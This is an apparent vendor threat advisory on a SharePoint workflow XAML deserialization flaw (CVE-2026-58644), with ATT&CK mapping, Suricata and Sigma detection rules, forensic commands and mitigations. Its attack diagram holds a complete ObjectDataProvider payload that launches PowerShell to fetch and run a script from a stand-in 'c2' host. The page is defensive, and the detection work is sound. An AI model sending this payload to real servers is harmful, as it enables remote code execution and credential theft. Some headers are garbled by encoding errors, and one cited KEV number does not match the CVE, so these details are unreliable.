CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver Deserialization
HERMES THREAT SCORE & ENTERPRISE INTRANET WORKFLOW SUBVERSION
Target:Microsoft SharePoint Server (Subscription Edition, 2019, 2016) CVSS v3.1 rates CVE-2026-58644 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is comprehensive: following CVE-2026-50522 and CVE-2026-55040, this flaw targets the asynchronous workflow and event receiver pipeline, ensuring reliable arbitrary code execution even where front-end BDC mitigations were applied.
CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver DeserializationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft SharePoint Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
๐ Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software MatrixโSharePoint workflows orchestrate enterprise document approval, content publishing, and automated document retention schedules across corporate libraries.
| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-58644 | CISA KEV Catalog Entry |
| Vulnerable Component | Microsoft.SharePoint.Workflow.dll | Workflow Event Receiver & Subscription Engine |
| Process Context | w3wp.exe / SPUCWorkerProcess.exe | High-privilege application pool service account |
| Network Vector | HTTP/HTTPS (Port 80, 443) | Inbound SharePoint Web Service API requests |
| Affected Versions | SharePoint Subscription Edition, 2019, 2016 | Global enterprise on-premises deployments |
| Fixed Versions | Microsoft Security Updates (September 2026) | Official Windows Update MSRC Patch |
| Threat Landscape | Advanced persistent threats & ransomware operators | Chained post-authentication or JWT-spoofed RCE |
2. In-Depth Technical Decomposition: XAML & NetDataContractSerializer Deserialization
Section titled โ2. In-Depth Technical Decomposition: XAML & NetDataContractSerializer DeserializationโA. The Vulnerable Event Parameter Unpacking
Section titled โA. The Vulnerable Event Parameter UnpackingโWhen a workflow event is triggered, SharePoint unmarshals client-supplied event context parameters. The vulnerable method unpacks the event payload using XamlReader.Load() without restricting the allowed XML types using an explicit XamlReaderSettings schema filter:
// Decompiled representation of insecure event deserializationpublic static object UnpackEventPayload(string rawXmlPayload) { StringReader stringReader = new StringReader(rawXmlPayload); XmlReader xmlReader = XmlReader.Create(stringReader); // VULNERABILITY: Insecure XamlReader instantiation allows ObjectDataProvider gadgets return XamlReader.Load(xmlReader);}+----------------------------------------------------------------------------------------------------+| CVE-2026-58644 EXPLOITATION ARCHITECTURE |+----------------------------------------------------------------------------------------------------+
[Remote Adversary] โ โ [1] Submits crafted XAML payload to /_vti_bin/Workflow.asmx โ Containing: โ <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" โ xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" โ xmlns:diag="clr-namespace:System.Diagnostics;assembly=System"> โ <ObjectDataProvider x:Key="cmd" ObjectType="{x:Type diag:Process}" MethodName="Start"> โ <ObjectDataProvider.MethodParameters> โ <x:String>powershell.exe</x:String> โ <x:String>-c "iex (New-Object Net.WebClient).DownloadString('http://c2/s')"</x:String> โ </ObjectDataProvider.MethodParameters> โ </ObjectDataProvider> โ </ResourceDictionary> โผ [Microsoft IIS / SharePoint w3wp.exe] โ โโโโโบ 1. Workflow ASMX Service Endpoint: โ - Forwards payload to UnpackEventPayload() โ โโโโโบ 2. XamlReader Processing: โ - Parses XML tree and resolves ObjectDataProvider โ - Automatically invokes MethodName "Start" on type System.Diagnostics.Process โ โผ [Unconstrained Command Execution] โ โโโโโบ Spawns powershell.exe with SharePoint Service Account rights: - Injects stealthy in-memory C2 agent - Dumps farm configuration database credentials - Modifies SharePoint assembly trust policies+----------------------------------------------------------------------------------------------------+3. Threat Intelligence, CISA KEV & Exploitation in the Wild
Section titled โ3. Threat Intelligence, CISA KEV & Exploitation in the Wildโ- CISA KEV Listing: Rapidly cataloged after being observed in multiple corporate intrusions targeting financial institutions and government contractors.
- Payload Evolution: Transitioned from standard disk-backed ASPX web shells to completely in-memory .NET CLR hooking techniques, avoiding detection by file-based Endpoint Detection and Response (EDR) solutions.
4. MITRE ATT&CK Mapping
Section titled โ4. MITRE ATT&CK Mappingโ| Tactic | Technique ID | Technique Name | Exploitation Manifestation |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Sending malicious XAML payload to workflow ASMX endpoints |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | Spawning PowerShell process via ObjectDataProvider |
| Defense Evasion | T1027 | Obfuscated/Compressed Files and Information | Base64 and XAML encoding of deserialization gadgets |
| Persistence | T1505.003 | Server Software Component: Web Shell | Injecting persistent in-memory event handlers |
5. Detection Engineering & Telemetry
Section titled โ5. Detection Engineering & TelemetryโA. Suricata Detection Rule
Section titled โA. Suricata Detection Ruleโalert http any any -> $SHAREPOINT_SERVERS any ( msg:"HERMES DEFENSE - SharePoint Workflow XAML Deserialization Attempt (CVE-2026-58644)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/Workflow.asmx"; http.request_body; content:"ObjectDataProvider"; http.request_body; content:"System.Diagnostics"; classtype:web-application-attack; sid:202658644; rev:1; reference:cve,2026-58644;)B. Sigma Detection Rule
Section titled โB. Sigma Detection Ruleโtitle: Insecure XAML Deserialization by SharePoint Workflow Workerid: 3b2a1c0d-9e8f-4a7b-6c5d-58644c026e01status: highdescription: Detects suspicious process spawning from SharePoint workflow worker or IIS process indicative of XAML deserialization exploits.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: windows category: process_creationdetection: selection_parent: ParentImage|endswith: - '\w3wp.exe' - '\SPUCWorkerProcess.exe' selection_child: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\cscript.exe' condition: selection_parent and selection_childfalsepositives: - Legitimate custom workflow actions explicitly executing system scripts (uncommon).level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.0016. Digital Forensics & Incident Response (DFIR)
Section titled โ6. Digital Forensics & Incident Response (DFIR)โForensics Triage Commands:
Section titled โForensics Triage Commands:โ- Analyze Sysmon Event ID 1 (Process Create):
Terminal window Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |Where-Object { $_.Message -match "SPUCWorkerProcess.exe|w3wp.exe" } - Review SharePoint Workflow History Logs:
- Check SharePoint Central Administration -> Monitoring -> Review workflow health.
- Inspect W3C Web Service Logs:
- Filter for POST requests to
/Workflow.asmxcontaining XML bodies withObjectDataProvider.
- Filter for POST requests to
Hunting Query (Elasticsearch / OpenSearch):
Section titled โHunting Query (Elasticsearch / OpenSearch):โ{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "wildcard": { "url.path": "*Workflow.asmx*" } }, { "wildcard": { "http.request.body.content": "*ObjectDataProvider*" } } ] } }}7. Mitigation & Remediation
Section titled โ7. Mitigation & Remediationโ- Apply Official Microsoft Patch: Install the September 2026 SharePoint Server Cumulative Security Update.
- Disable Deprecated SharePoint 2010/2013 Workflow Engine: If not actively required by business processes, disable the legacy workflow subsystem:
Terminal window Disable-SPFeature -Identity "WorkflowServiceStore" -Url "http://sharepoint.corp" - Enforce Strict Application Whitelisting: Configure Windows Defender Application Control (WDAC) or AppLocker to block
w3wp.exefrom spawning administrative scripting shells (cmd.exe,powershell.exe). - Isolate Service Accounts: Ensure SharePoint farm service accounts do not belong to the Domain Admins group.